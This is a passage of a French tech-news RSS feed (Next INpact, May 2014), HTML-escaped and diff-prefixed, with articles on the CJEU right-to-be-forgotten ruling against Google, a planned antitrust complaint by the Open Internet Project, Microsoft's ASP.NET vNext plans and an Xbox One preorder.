+&lt;p&gt;Si le journal n&amp;rsquo;a pas eu &amp;agrave; anonymiser ces informations, Google devra le faire, du moins si la justice locale le d&amp;eacute;cide. Selon la CJUE, les juridictions ib&amp;eacute;riques devront en effet v&amp;eacute;rifier si les diff&amp;eacute;rentes conditions pos&amp;eacute;es en mati&amp;egrave;re de donn&amp;eacute;es personnelles sont r&amp;eacute;unies. Ces m&amp;ecirc;mes tribunaux devront &amp;eacute;galement tenir compte de la personnalit&amp;eacute; du particulier. S&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un homme public, le droit &amp;agrave; l&amp;rsquo;information des citoyens pourra emp&amp;ecirc;cher le d&amp;eacute;r&amp;eacute;f&amp;eacute;rencement&amp;nbsp;; sinon, Google devra gommer ces traces du pass&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Supprimer ce qui nous d&amp;eacute;pla&amp;icirc;t&lt;/h3&gt;
+&lt;p&gt;&amp;nbsp;Reporters sans fronti&amp;egrave;res&amp;nbsp;&lt;a href="http://fr.rsf.org/affaire-costeja-contre-google-la-14-05-2014,46277.html" target="_blank"&gt;souligne&lt;/a&gt; le caract&amp;egrave;re exceptionnel de l&amp;rsquo;arr&amp;ecirc;t de la CJUE et pour cause&amp;nbsp;: Google pourra avoir &amp;agrave; supprimer l&amp;rsquo;information, m&amp;ecirc;me si elle a &amp;eacute;t&amp;eacute; publi&amp;eacute;e l&amp;eacute;galement et quand bien m&amp;ecirc;me elle reste affich&amp;eacute;e sur le site initial (ici le site de presse espagnole.)&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Cette d&amp;eacute;cision ouvre pour chacun la possibilit&amp;eacute; de retirer des pages accessibles par les moteurs de recherche toute information &amp;agrave; son propos qui lui d&amp;eacute;pla&amp;icirc;t&amp;nbsp;&lt;/em&gt;&amp;raquo; regrette RSF. Gr&amp;eacute;goire Pouget, responsable du bureau Nouveaux M&amp;eacute;dias de Reporters sans fronti&amp;egrave;res consid&amp;egrave;re que &amp;laquo;&amp;nbsp;&lt;em&gt;d&amp;eacute;sormais, chaque individu, m&amp;ecirc;me lorsqu&amp;rsquo;il a fait l&amp;rsquo;objet d&amp;rsquo;une citation de presse l&amp;eacute;gitime et l&amp;eacute;gale, serait en mesure d&amp;rsquo;exiger que n&amp;rsquo;apparaissent que les informations qui lui conviennent et donc de se fa&amp;ccedil;onner une image num&amp;eacute;rique non conforme aux informations publi&amp;eacute;es. Ce droit ne sera-t-il pas &amp;eacute;largi aux personnes morales, nous faisant basculer dans un monde d&amp;rsquo;information totalement ma&amp;icirc;tris&amp;eacute;e&amp;nbsp;?"&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces contenus pourront &amp;ecirc;tre effac&amp;eacute;s non parce qu&amp;rsquo;ils sont ill&amp;eacute;gaux, mais &amp;laquo;&amp;nbsp;&lt;em&gt;parce qu&amp;rsquo;un particulier les consid&amp;eacute;rera pr&amp;eacute;judiciables &amp;agrave; ses int&amp;eacute;r&amp;ecirc;ts. Si le moteur de recherche n&amp;rsquo;acc&amp;egrave;de pas &amp;agrave; sa requ&amp;ecirc;te [il] pourra alors saisir les autorit&amp;eacute;s comp&amp;eacute;tentes de son pays et obtenir le retrait de certains r&amp;eacute;sultats de recherche associ&amp;eacute;s &amp;agrave; son nom&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;h3&gt;L'effaceur arros&amp;eacute;&lt;/h3&gt;
+&lt;p&gt;Fait notable, le nom de &lt;a href="https://www.google.fr/search?num=40&amp;amp;safe=off&amp;amp;client=firefox-a&amp;amp;hs=oEH&amp;amp;rls=org.mozilla%3Afr%3Aofficial&amp;amp;channel=np&amp;amp;q=%22Mario+Costeja+Gonz%C3%A1lez%22&amp;amp;oq=%22Mario+Costeja+Gonz%C3%A1lez%22&amp;amp;gs_l=serp.3..0i22i30.7187.9327.0.9587.4.4.0.0.0.0.127.411.2j2.4.0....0...1c.1.43.serp..0.4.408.Gz0R05D9HFY" target="_blank"&gt;Mario Costeja Gonz&amp;aacute;lez&lt;/a&gt;, ce particulier espagnol qui r&amp;eacute;clame le nettoyage de Google, est cit&amp;eacute;&amp;nbsp; en clair dans la d&amp;eacute;cision de justice de la CJUE. La plan&amp;egrave;te enti&amp;egrave;re, qui suit cette affaire, conna&amp;icirc;tra maintenant les d&amp;eacute;boires financiers qu&amp;rsquo;il a rencontr&amp;eacute;s voil&amp;agrave; 16 ans. Conclusion :&lt;/p&gt;
+&lt;blockquote data-partner="tweetdeck"&gt;
+&lt;p&gt;Le plaignant va-t-il demander que son nom soit effac&amp;eacute; de la d&amp;eacute;cision &lt;a href="https://twitter.com/search?q=%23CJUE&amp;amp;src=hash"&gt;#CJUE&lt;/a&gt; &lt;a href="https://twitter.com/search?q=%23Google&amp;amp;src=hash"&gt;#Google&lt;/a&gt; et des r&amp;eacute;sultats des search-engines? &lt;a href="https://twitter.com/search?q=%23IronieDeLHistoire&amp;amp;src=hash"&gt;#IronieDeLHistoire&lt;/a&gt;&lt;/p&gt;
+&amp;mdash; iWilex (@iWilex) &lt;a href="https://twitter.com/iWilex/statuses/466496873923362817"&gt;May 14, 2014&lt;/a&gt;&lt;/blockquote&gt;
+&lt;script src="//platform.twitter.com/widgets.js" async="" charset="utf-8"&gt;&lt;/script&gt;</description><pubDate>Wed, 14 May 2014 17:15:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87535.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87539-antitrust-oip-compte-attaquer-google-devant-commission-europeenne.htm</guid><link>http://www.nextinpact.com/news/87539-antitrust-oip-compte-attaquer-google-devant-commission-europeenne.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>nil@nextinpact.com</author><category>Justice</category><title>Antitrust : l'OIP compte attaquer Google devant la Commission européenne</title><description>&lt;p class="actu_chapeau"&gt;Demain apr&amp;egrave;s-midi &amp;agrave; Paris sera pr&amp;eacute;sent&amp;eacute; l'Open Internet Project (OIP), un groupe de sites et de m&amp;eacute;dias fran&amp;ccedil;ais et allemands demandant le d&amp;eacute;mant&amp;egrave;lement de Google du fait de sa position dominante dans le domaine de la recherche en ligne. Mais selon &lt;a href="http://www.satellinet.fr/satellinet-199/les-editeurs-francais-et-allemands-attaquent-google-devant-la-commission-europeenne" target="_blank"&gt;Satellinet&lt;/a&gt;, l'annonce principale de demain sera une attaque envers Google&amp;nbsp;devant la Commission europ&amp;eacute;enne, ceci &amp;agrave; quelques jours des &amp;eacute;lections europ&amp;eacute;ennes.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146569.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146569.png" alt="Open internet Project" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Accus&amp;eacute; d'abus de position dominante par un certain nombre d'&amp;eacute;diteurs et de startups, Google fait face &amp;agrave; la Commission europ&amp;eacute;enne&amp;nbsp;depuis plusieurs ann&amp;eacute;es. Aux derni&amp;egrave;res nouvelles, cette commission a vu d'un bon &amp;oelig;il les propositions de Google, qui impliquent notamment une &lt;a href="http://www.nextinpact.com/news/85767-antitrust-concessions-google-plaisent-a-ue-moins-aux-concurrents.htm" target="_blank"&gt;visibilit&amp;eacute; accrue des services concurrents&lt;/a&gt;&amp;nbsp;sur son moteur de recherche. La commission n'a pas encore d&amp;eacute;finitivement accept&amp;eacute; ces&amp;nbsp;concessions, mais cela reste une forte possibilit&amp;eacute;. Ces propositions sont toutefois insuffisantes pour les opposants de Google, qui estiment que cela ne r&amp;eacute;soudra rien.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour faire face &amp;agrave; cette situation, le g&amp;eacute;ant allemand Axel Springer (AuFeminin.com), accompagn&amp;eacute; de nombreux m&amp;eacute;dias, sites et associations&amp;nbsp;fran&amp;ccedil;ais, se sont r&amp;eacute;unis sous le nom d'Open Internet Project. Selon nos informations, on retrouve ainsi la BEUC (associations de d&amp;eacute;fense des consommateurs en Europe), le groupe CCM Benchmark (Comment &amp;ccedil;a Marche, Journal du Net, etc.), Lagard&amp;egrave;re Active (Doctissimo, LeGuide, Premiere.fr, JDD, etc.), et le Geste, qui compte dans ses rangs Deezer, 20 Minutes, Yahoo, Microsoft, Skyrock, Radio France, M6 Web, Le Figaro, L'Equipe, l'Opinion, E TF1, RTL, ZDNet, Bwin, &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;, &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; et m&amp;ecirc;me Google lui-m&amp;ecirc;me. Et selon Satellinet, d'autres groupes ont rejoint l'OIP, dont le CEPIC (syndicat europ&amp;eacute;en des agences et sources photographiques), l'ESML (syndicat des &amp;eacute;diteurs de services de musique en ligne), l'ICOMP (Microsoft, Wunderman, Mappy, SPQR, etc.), le SETO (syndicat des entreprises du tour operating), ainsi que&amp;nbsp;Augsburger, un groupe parlementaire de Francfort.&lt;/p&gt;
+&lt;h3&gt;&amp;laquo; L&amp;rsquo;existence m&amp;ecirc;me d&amp;rsquo;entreprises num&amp;eacute;riques innovantes (...) est menac&amp;eacute;e &amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Tous ces groupes et soci&amp;eacute;t&amp;eacute;s souhaitent donc d&amp;eacute;manteler Google.&amp;nbsp;Et pour cela, ils comptent annoncer d&amp;egrave;s demain&amp;nbsp;la saisie des autorit&amp;eacute;s de la concurrence europ&amp;eacute;enne, pour, comme toujours, abus de position dominante de la part de Google. L'argument est le m&amp;ecirc;me : du fait de ses plus de 90 % de parts de march&amp;eacute; en Europe, Google profite de cette situation pour mettre en avant ses propres services et ainsi prendre un avantage sur ses concurrents. Or quand on sait que l'Am&amp;eacute;ricain multiplie les services ces derni&amp;egrave;res ann&amp;eacute;es, allant de la recherche de vols &amp;agrave; la musique en ligne, en passant par l'h&amp;eacute;bergement de vid&amp;eacute;os, la cartographie, les livres, la finance, la traduction, etc. Une liste loin d'&amp;ecirc;tre exhaustive qui implique logiquement de tr&amp;egrave;s nombreux concurrents et tout autant de griefs.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube.com/embed/0Ku-6khNEfU?rel=0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Aux &amp;Eacute;tats-Unis, la FTC n'a pas r&amp;eacute;ussi &amp;agrave; prouver que Google abusait de sa position dominante&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;Agrave; l'approche des &amp;eacute;lections europ&amp;eacute;ennes, les membres de l'Open Internet Project souhaitent donc profiter de cette p&amp;eacute;riode d&amp;eacute;licate et surtout m&amp;eacute;diatis&amp;eacute;e pour s'attaquer&amp;nbsp;&amp;agrave; Google&amp;nbsp;face &amp;agrave; l'&amp;eacute;chec de la Commission europ&amp;eacute;enne. &amp;laquo; &lt;em&gt;C&amp;rsquo;est un sujet d&amp;rsquo;importance mondiale. Google, moteur de recherche en situation de monopole, g&amp;eacute;ant de l&amp;rsquo;Internet, manipule les r&amp;eacute;sultats de recherche afin de promouvoir ses propres services et d&amp;eacute;grader ceux de ses concurrents. Cette situation est inacceptable. L&amp;rsquo;existence m&amp;ecirc;me d&amp;rsquo;entreprises num&amp;eacute;riques innovantes, cr&amp;eacute;atrices d&amp;rsquo;emplois dans tous les pays de l&amp;rsquo;Union Europ&amp;eacute;enne, est menac&amp;eacute;e si ces abus de position dominante d&amp;rsquo;un moteur de recherche en situation de monopole ne sont pas interdits&lt;/em&gt;&amp;nbsp;&amp;raquo; explique d'ailleurs l'OIP dans sa lettre d'invitation &amp;agrave; l'&amp;eacute;v&amp;egrave;nement de demain.&lt;/p&gt;
+&lt;h3&gt;&amp;laquo; Nous avons peur de Google.&amp;nbsp;Je dois&amp;nbsp;le&amp;nbsp;dire clairement et honn&amp;ecirc;tement. &amp;raquo;&lt;/h3&gt;
+&lt;p&gt;On notera que le mois&amp;nbsp;dernier, Mathias D&amp;ouml;pfner, le patron&amp;nbsp;du groupe Axel Springer, a publi&amp;eacute; une &lt;a href="http://www.faz.net/aktuell/feuilleton/medien/mathias-doepfner-warum-wir-google-fuerchten-12897463.html" target="_blank"&gt;lettre ouverte&lt;/a&gt;&amp;nbsp;destin&amp;eacute;e &amp;agrave; Eric Schmidt, l'un des cadres et ex-PDG de Google. Cette lettre expliquait que son groupe &amp;eacute;tait totalement d&amp;eacute;pendant du moteur de recherche et que tous les &amp;eacute;diteurs appartiennent &amp;agrave; Google en quelque sorte. Pour le patron, il n'y a pas ici de coop&amp;eacute;ration possible contrairement aux dires de l'Am&amp;eacute;ricain. Certes, ce dernier rapporte de nombreux visiteurs aux autres sites et services, n&amp;eacute;anmoins, le fait qu'aucune alternative n'arrive &amp;agrave; &amp;eacute;clore est un probl&amp;egrave;me majeur en Europe.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mathias D&amp;ouml;pfner indique dans sa lettre que la situation actuelle est telle que le rapport de force entre Google et les autres sites est disproportionn&amp;eacute;. Il n'y a pas de rapport d'&amp;eacute;gal &amp;agrave; &amp;eacute;gal, mais uniquement&amp;nbsp;de d&amp;eacute;pendance pure.&amp;nbsp;&amp;laquo; &lt;em&gt;Si Google change un algorithme, il peut &amp;eacute;craser&amp;nbsp;une de nos filiales en&amp;nbsp;quelques jours et r&amp;eacute;duire&amp;nbsp;son&amp;nbsp;trafic de 70 %. Il s'agit d'un cas r&amp;eacute;el. Et si cette filiale est un concurrent de Google, c'est bien s&amp;ucirc;r une co&amp;iuml;ncidence.&lt;/em&gt; &amp;raquo;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour le patron, s'attaquer au moteur de recherche am&amp;eacute;ricain est en fait vital aujourd'hui, d'o&amp;ugrave; l'Open Internet Project et son ambition de le d&amp;eacute;manteler. &amp;laquo; &lt;em&gt;Nous avons peur de Google.&amp;nbsp;Je dois le&amp;nbsp;dire clairement et honn&amp;ecirc;tement, car&amp;nbsp;pas&amp;nbsp;un de mes coll&amp;egrave;gues n'ose le faire publiquement&lt;/em&gt;&amp;nbsp;&amp;raquo; a-t-il ainsi affirm&amp;eacute; dans sa lettre ouverte.&amp;nbsp;&amp;laquo; &lt;em&gt;La discussion sur la puissance de Google n'est donc pas une th&amp;eacute;orie du complot d'irr&amp;eacute;ductibles.&amp;nbsp;(...)&amp;nbsp;Et c'est pourquoi nous devons&amp;nbsp;maintenant avoir cette discussion dans l'int&amp;eacute;r&amp;ecirc;t de la sant&amp;eacute; de l'&amp;eacute;cosyst&amp;egrave;me &amp;agrave; long terme de l'&amp;eacute;conomie num&amp;eacute;rique. Cela concerne&amp;nbsp;la concurrence, pas seulement &amp;eacute;conomique, mais aussi politique. Cela&amp;nbsp;affecte nos valeurs, notre humanit&amp;eacute;,&amp;nbsp;notre soci&amp;eacute;t&amp;eacute; et le monde - de notre point de vue - en particulier l'avenir de l'Europe.&lt;/em&gt; &amp;raquo;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contact&amp;eacute;e par Next INpact, l'OIP n'a pas souhait&amp;eacute; confirmer l'information de notre confr&amp;egrave;re.&amp;nbsp;Nous aurons tous les d&amp;eacute;tails demain dans l'apr&amp;egrave;s-midi.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 16:55:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87539.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87520-microsoft-veut-faciliter-deploiement-applications-net-et-asp-net.htm</guid><link>http://www.nextinpact.com/news/87520-microsoft-veut-faciliter-deploiement-applications-net-et-asp-net.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Développeurs</category><title>Microsoft veut faciliter le déploiement des applications .NET et ASP.NET</title><description>&lt;p class="actu_chapeau"&gt;Microsoft tient actuellement sa conf&amp;eacute;rence TechEd, d&amp;eacute;di&amp;eacute;e aux d&amp;eacute;veloppeurs. L&amp;rsquo;&amp;eacute;diteur en a profit&amp;eacute; pour d&amp;eacute;voiler une partie du futur de sa technologie .NET, y compris pour le d&amp;eacute;veloppement avec ASP.NET vNext. Les maitres-mots semblent d&amp;eacute;sormais &amp;ecirc;tre l&amp;eacute;g&amp;egrave;ret&amp;eacute; et facilit&amp;eacute; de d&amp;eacute;ploiement.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146755.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146755.png" alt="asp.net " /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Simplifier la vie des d&amp;eacute;veloppeurs&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Il est &amp;eacute;vident que le paysage du d&amp;eacute;veloppement logiciel va profond&amp;eacute;ment changer cette ann&amp;eacute;e et ult&amp;eacute;rieurement chez Microsoft. On a pu voir par exemple r&amp;eacute;cemment que les &lt;a href="http://www.nextinpact.com/news/87491-visual-studio-2013-update-2-fait-part-belle-aux-nouvelles-fonctionnalites.htm" target="_blank"&gt;applications universelles&lt;/a&gt;&amp;nbsp;permettent de cr&amp;eacute;er un seul package comprenant l&amp;rsquo;ensemble des binaires pour Windows 8.0 et Windows Phone 8.1. Id&amp;eacute;alement, la soci&amp;eacute;t&amp;eacute; parviendra &amp;agrave; proposer les m&amp;ecirc;mes technologies pour la totalit&amp;eacute; de ses plateformes, et elle est d&amp;rsquo;ailleurs en passe d&amp;rsquo;y parvenir.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Microsoft oblige, la technologie&amp;nbsp;.NET n&amp;rsquo;est jamais tr&amp;egrave;s loin. Qu&amp;rsquo;il s&amp;rsquo;agisse de Windows ou de Windows Phone, .NET est toujours la voie royale, m&amp;ecirc;me si un d&amp;eacute;veloppeur peut concr&amp;egrave;tement utiliser le couple HTML5/JavaScript pour cr&amp;eacute;er ses applications sur ces deux plateformes. La technologie va cependant &amp;eacute;voluer assez largement, et les travaux men&amp;eacute;s sur les diff&amp;eacute;rents compilateurs n&amp;rsquo;en sont que des pr&amp;eacute;mices.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Lors de la conf&amp;eacute;rence TechEd, la firme a donn&amp;eacute; de nombreux d&amp;eacute;tails sur ce qui attend les d&amp;eacute;veloppeurs .NET et ASP.NET. &amp;nbsp;Dans les deux cas, le cloud sera omnipr&amp;eacute;sent&amp;nbsp;: les d&amp;eacute;veloppeurs doivent pouvoir b&amp;acirc;tir des solutions locales et/ou connect&amp;eacute;es au sein de leurs projets hybrides. Mais dans la vision de Microsoft, ces m&amp;ecirc;mes d&amp;eacute;veloppeurs pourront &amp;eacute;galement cr&amp;eacute;er des applications qui seront ensuite plac&amp;eacute;es en ligne et utilis&amp;eacute;es de mani&amp;egrave;re transparente.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un tel fonctionnement&amp;nbsp;n&amp;rsquo;est pas sans quelques avantages, le premier &amp;eacute;tant que le poids des frameworks ne devrait plus peser sur les administrateurs lors du d&amp;eacute;ploiement. L&amp;rsquo;utilisateur lance ainsi son application, qui n&amp;rsquo;a plus besoin de contr&amp;ocirc;ler quelle version de l&amp;rsquo;infrastructure est install&amp;eacute;e puisque les composants n&amp;eacute;cessaires &amp;agrave; son ex&amp;eacute;cution seront directement fournis avec elle.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette capacit&amp;eacute; deviendra d&amp;rsquo;autant plus importante que l&amp;rsquo;autre grand travail en cours porte sur le support des d&amp;eacute;ploiements multiplateformes. C&amp;rsquo;est ici qu&amp;rsquo;on retrouve le rapprochement avec la soci&amp;eacute;t&amp;eacute; Xamarin, &amp;eacute;ditrice de Mono (qui entre d'ailleurs dans la matrice de tests de compatibilit&amp;eacute; .NET de Microsoft). Objectif&amp;nbsp;: qu&amp;rsquo;une m&amp;ecirc;me application puisse fonctionner indiff&amp;eacute;remment sur Windows, OS X ou Linux, sans qu&amp;rsquo;une gestion des frameworks par poste soit n&amp;eacute;cessaire.&lt;/p&gt;
+&lt;h3&gt;ASP.NET vNext visera avant tout la modularit&amp;eacute;&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;La&amp;nbsp;facilit&amp;eacute; de d&amp;eacute;ploiement sera&amp;nbsp;&amp;eacute;galement l'un des objectifs de la prochaine version d&amp;rsquo;ASP.NET, nomm&amp;eacute;e pour le moment vNext. Une application web d&amp;eacute;velopp&amp;eacute;e avec le langage pourra davantage tirer parti des composants c&amp;ocirc;t&amp;eacute; serveur. Cette mouture sera compatible OWIN (Open Web Interface for .NET) et pourra donc &amp;ecirc;tre utilis&amp;eacute;e en conjonction avec tous les &amp;eacute;l&amp;eacute;ments du m&amp;ecirc;me acabit. Le but est ici de r&amp;eacute;duire au strict minimum le code n&amp;eacute;cessaire par le d&amp;eacute;veloppeur et d&amp;rsquo;all&amp;eacute;ger d&amp;rsquo;autant les projets.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146756.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146756.png" alt="asp.net " /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les avantages li&amp;eacute;s &amp;agrave; cette modularit&amp;eacute; sont multiples. Une m&amp;ecirc;me entreprise pourra par exemple utiliser plusieurs versions diff&amp;eacute;rentes d&amp;rsquo;une m&amp;ecirc;me application tout en b&amp;eacute;n&amp;eacute;ficiant pour chacune d&amp;rsquo;une compilation dynamique, bas&amp;eacute;e sur la &lt;a href="http://www.nextinpact.com/news/86865-microsoft-donne-serieux-coup-daccelerateur-a-sa-technologie-net.htm" target="_blank"&gt;nouvelle plateforme .NET Compiler&lt;/a&gt;. Gr&amp;acirc;ce &amp;agrave; cette derni&amp;egrave;re, les d&amp;eacute;veloppeurs pourront d'ailleurs r&amp;eacute;aliser leur d&amp;eacute;veloppement ou des modifications avec une compilation imm&amp;eacute;diate et en temps r&amp;eacute;el. Ainsi, toute modification sur un projet ne n&amp;eacute;cessitera plus qu'un rafra&amp;icirc;chissement de la page pour v&amp;eacute;rifier le r&amp;eacute;sultat.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les projets ASP.NET vNext pourront eux &amp;eacute;galement&amp;nbsp;&amp;ecirc;tre ex&amp;eacute;cut&amp;eacute;s sur toutes les plateformes, gr&amp;acirc;ce au m&amp;ecirc;me partenariat avec Xamarin. Signalons aussi que la d&amp;eacute;pendance &amp;agrave; Visual Studio sera r&amp;eacute;duite, permettant un d&amp;eacute;veloppement &lt;a href="http://www.hanselman.com/blog/IntroducingASPNETVNext.aspx" target="_blank"&gt;ASP.NET dans d'autres IDE&lt;/a&gt;, tels que Xcode, voire m&amp;ecirc;me dans Notepad. Enfin, cette vNext fera partie des composants ajout&amp;eacute;s &amp;agrave; la fondation .NET et elle sera donc open source, depuis les biblioth&amp;egrave;ques de bas niveau jusqu&amp;rsquo;aux composants des interfaces.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ceux qui souhaitent en savoir davantage sur les annonces de Microsoft ses technologies de d&amp;eacute;veloppement peuvent consulter le &lt;a href="http://blogs.msdn.com/b/dotnet/archive/2014/05/12/the-next-generation-of-net-asp-net-vnext.aspx" target="_blank"&gt;blog d&amp;eacute;di&amp;eacute; &amp;agrave; .NET&lt;/a&gt;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 16:35:16 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87520.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/breve/87542-la-nouvelle-xbox-one-disponible-en-precommande-pour-39990.htm</guid><link>http://www.nextinpact.com/breve/87542-la-nouvelle-xbox-one-disponible-en-precommande-pour-39990.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Consoles</category><title>[Brève] La « nouvelle » Xbox One disponible en précommande pour 399,90 €</title><description>&lt;p class="actu_chapeau"&gt;Alors qu'elle a &amp;eacute;t&amp;eacute; officialis&amp;eacute;e &lt;a href="http://www.nextinpact.com/news/87514-microsoft-cede-et-proposera-xbox-one-sans-kinect-a-399-des-9-juin.htm" target="_blank"&gt;hier soir&lt;/a&gt;, la Xbox One sans Kinect est d'ores et d&amp;eacute;j&amp;agrave; disponible en pr&amp;eacute;commande pour &lt;a href="http://pdn.im/QIUxN6" target="_blank"&gt;399,90 &amp;euro;&lt;/a&gt;,&amp;nbsp;ce qui la place 70 euros en dessous de&amp;nbsp;sa grande s&amp;oelig;ur, mais surtout au m&amp;ecirc;me niveau que la PlayStation 4.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/146754.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146754.png" alt="Xbox One Materiel.net" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La rumeur courait depuis un moment, mais c'est hier soir que Microsoft a d&amp;eacute;cid&amp;eacute; de sortir du bois afin de faire une annonce officielle : la &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; sera finalement vendue sans Kinect, pour 399 &amp;euro;.&amp;nbsp;Pour rappel, le fabricant avait annonc&amp;eacute; &amp;agrave; plusieurs reprises qu'une telle version ne verrait jamais le jour, les deux &amp;eacute;l&amp;eacute;ments &amp;eacute;tant indissociables.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, Materiel.net est le premier revendeur &amp;agrave; d&amp;eacute;gainer cette nouvelle &amp;eacute;dition en la proposant en pr&amp;eacute;commande pour &lt;a href="http://pdn.im/QIUxN6" target="_blank"&gt;399,90 euros&lt;/a&gt;.&amp;nbsp;Hormis la disparition du d&amp;eacute;tecteur de mouvement, pas de changement du c&amp;ocirc;t&amp;eacute; du bundle qui contient toujours une manette en plus de la console en elle-m&amp;ecirc;me.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour rappel, la &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; &amp;eacute;tait vendue &amp;agrave; 499 euros avec&lt;em&gt; FIFA 14&lt;/em&gt;, alors qu'on la trouve d&amp;eacute;sormais aux alentours de 470 euros sans jeu :&lt;/p&gt;
+&lt;p&gt;[PDN]792316[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour rappel, cette &lt;span data-affiliable="false" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; sans Kinect sera disponible &amp;agrave; partir du 9 juin prochain, soit la veille de l'ouverture du&amp;nbsp;&lt;a href="http://www.e3expo.com/" target="_blank"&gt;salon E3 &amp;agrave; Los Angeles&lt;/a&gt;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 15:41:56 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87542.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87518-les-pistes-deputees-pour-reussir-conversion-numerique-france.htm</guid><link>http://www.nextinpact.com/news/87518-les-pistes-deputees-pour-reussir-conversion-numerique-france.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>xavier@nextinpact.com</author><category>Loi</category><title>Les pistes de députées pour réussir « la conversion numérique » de la France</title><description>&lt;p class="actu_chapeau"&gt;&amp;Eacute;veil au codage d&amp;egrave;s l'&amp;eacute;cole primaire, cons&amp;eacute;cration du principe de neutralit&amp;eacute; du Net, modification de la l&amp;eacute;gislation europ&amp;eacute;enne relative aux donn&amp;eacute;es personnelles, cr&amp;eacute;ation d&amp;rsquo;un &amp;laquo; Nasdaq europ&amp;eacute;en &amp;raquo;, acc&amp;eacute;l&amp;eacute;ration de l&amp;rsquo;Open Data... Les pistes des d&amp;eacute;put&amp;eacute;es Corinne Erhel et Laure de La Raudi&amp;egrave;re ne manquent pas pour &amp;laquo; &lt;em&gt;enclencher la conversion 